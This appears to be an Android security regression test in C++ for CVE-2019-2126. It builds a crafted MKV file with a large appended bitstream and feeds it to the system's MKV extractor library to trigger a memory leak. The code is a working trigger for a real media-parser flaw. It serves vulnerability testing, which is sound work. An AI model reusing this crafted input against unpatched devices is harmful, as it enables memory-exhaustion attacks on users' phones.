| /** |
| * Copyright (C) 2020 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #include <dlfcn.h> |
| #include <sys/mman.h> |
| #include <media/IMediaHTTPService.h> |
| #include <media/DataSource.h> |
| #include <media/stagefright/DataSourceFactory.h> |
| #include <media/stagefright/MediaExtractor.h> |
| #include "../includes/memutils_track.h" |
| #include "../includes/common.h" |
| |
| unsigned char mkvDataStart[] = { 0x1A, 0x45, 0xDF, 0xA3, 0x10, 0x00, 0x00, 0x0A, |
| 0x42, 0x82, 0x10, 0x00, 0x00, 0x04, 0x77, 0x65, 0x62, 0x6D, 0x18, 0x53, |
| 0x80, 0x67, 0x10, 0xF4, 0x24, 0x49, 0x16, 0x54, 0xAE, 0x6B, 0x10, 0xF4, |
| 0x24, 0x41, 0xAE, 0x10, 0xF4, 0x24, 0x3C, 0xD7, 0x81, 0x01, 0x83, 0x81, |
| 0x01, 0xE0, 0x10, 0x00, 0x00, 0x03, 0xB0, 0x81, 0x01, 0x6D, 0x80, 0x10, |
| 0xF4, 0x24, 0x28, 0x62, 0x40, 0x10, 0xF4, 0x24, 0x22, 0x50, 0x34, 0x10, |
| 0xF4, 0x24, 0x19, 0x42, 0x54, 0x81, 0x01, 0x42, 0x55, 0x10, 0xF4, 0x24, |
| 0x00 }; |
| |
| unsigned char mkvDataEnd[] = { 0x42, 0x55, 0x81, 0x61, 0x42, 0x54, 0x88, 0xFF, |
| 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x50, 0x35, 0x80 }; |
| |
| #define LIBNAME "/system/lib64/extractors/libmkvextractor.so" |
| #define LIBNAME_APEX \ |
| "/apex/com.android.media/lib64/extractors/libmkvextractor.so" |
| |
| #define LEAK_SIZE 16000000 |
| #define LEAK_DATA 0x61 |
| #define TMP_FILE "/data/local/tmp/temp_cve_2019_2126" |
| |
| using namespace android; |
| |
| bool is_tracking_required(size_t size) { |
| return (size == LEAK_SIZE); |
| } |
| |
| int main() { |
| |
| #if _64_BIT |
| GetExtractorDef getDef = nullptr; |
| FILE* fp = fopen(TMP_FILE, "wb"); |
| if (!fp) { |
| return EXIT_FAILURE; |
| } |
| |
| char *appendArray = (char *) malloc(LEAK_SIZE); |
| memset(appendArray, LEAK_DATA, LEAK_SIZE * sizeof(char)); |
| |
| /* Write mkv stream */ |
| fwrite(mkvDataStart, 1, sizeof(mkvDataStart), fp); |
| |
| /* Append a bitstream which causes memory leak */ |
| fwrite(appendArray, 1, LEAK_SIZE, fp); |
| fwrite(mkvDataEnd, 1, sizeof(mkvDataEnd), fp); |
| free((void *) appendArray); |
| fclose(fp); |
| |
| void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL); |
| if (!libHandle) { |
| libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL); |
| if (!libHandle) { |
| remove(TMP_FILE); |
| return EXIT_FAILURE; |
| } |
| } |
| |
| getDef = (GetExtractorDef) dlsym(libHandle, "GETEXTRACTORDEF"); |
| if (!getDef) { |
| remove(TMP_FILE); |
| dlclose(libHandle); |
| return EXIT_FAILURE; |
| } |
| |
| sp < DataSource > dataSource = DataSourceFactory::CreateFromURI(NULL, |
| TMP_FILE); |
| if (dataSource == nullptr) { |
| remove(TMP_FILE); |
| dlclose(libHandle); |
| return EXIT_FAILURE; |
| } |
| |
| void *meta = nullptr; |
| void* creator = nullptr; |
| FreeMetaFunc freeMeta = nullptr; |
| float confidence; |
| if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) { |
| creator = (void*) getDef().u.v2.sniff(dataSource->wrap(), &confidence, |
| &meta, &freeMeta); |
| } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) { |
| creator = (void*) getDef().u.v3.sniff(dataSource->wrap(), &confidence, |
| &meta, &freeMeta); |
| } |
| if (!creator) { |
| remove(TMP_FILE); |
| dlclose(libHandle); |
| return EXIT_FAILURE; |
| } |
| |
| CMediaExtractor *ret = ((CreatorFunc) creator)(dataSource->wrap(), meta); |
| if (ret == nullptr) { |
| remove(TMP_FILE); |
| dlclose(libHandle); |
| return EXIT_FAILURE; |
| } |
| |
| if (meta != nullptr && freeMeta != nullptr) { |
| freeMeta(meta); |
| } |
| |
| remove(TMP_FILE); |
| dlclose(libHandle); |
| #endif /* _64_BIT */ |
| |
| return EXIT_SUCCESS; |
| } |